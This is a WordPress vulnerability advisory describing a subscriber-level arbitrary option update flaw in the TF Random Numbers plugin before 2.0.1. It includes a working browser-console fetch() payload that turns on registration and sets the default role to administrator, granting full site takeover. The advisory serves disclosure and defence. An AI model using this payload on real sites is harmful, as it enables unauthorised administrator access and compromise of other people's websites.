WordPress Plugin Vulnerabilities

TF Random Numbers < 2.0.1 - Subscriber+ Arbitrary Option Update

Description

The plugin does not have authorisation and CSRF check in an AJAX action, and does not ensure that the options to be updated belong to the plugin. As a result, it could allow any authenticated users, such as subscriber, to update arbitrary blog options, such as enabling registration and set the default role to administrator

Proof of Concept

Sign in as a subscriber and run the following code in the web console

fetch( 'admin-ajax.php', { method: 'POST', headers:{'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=tf_numb_save_licenses&data[addon_0][key]=users_can_register&data[addon_0][val]=1&data[addon_1][key]=default_role&data[addon_1][val]=administrator' } );

Log out and register an account which will be an administrator one

Affects Plugins

References

Classification

Type
NO AUTHORISATION
CWE
CVSS

Miscellaneous

Original Researcher
dc11
Submitter
dc11
Verified
Yes

Timeline

Publicly Published
2023-03-27 (about 1 years ago)
Added
2023-03-27 (about 1 years ago)
Last Updated
2023-03-27 (about 1 years ago)

Other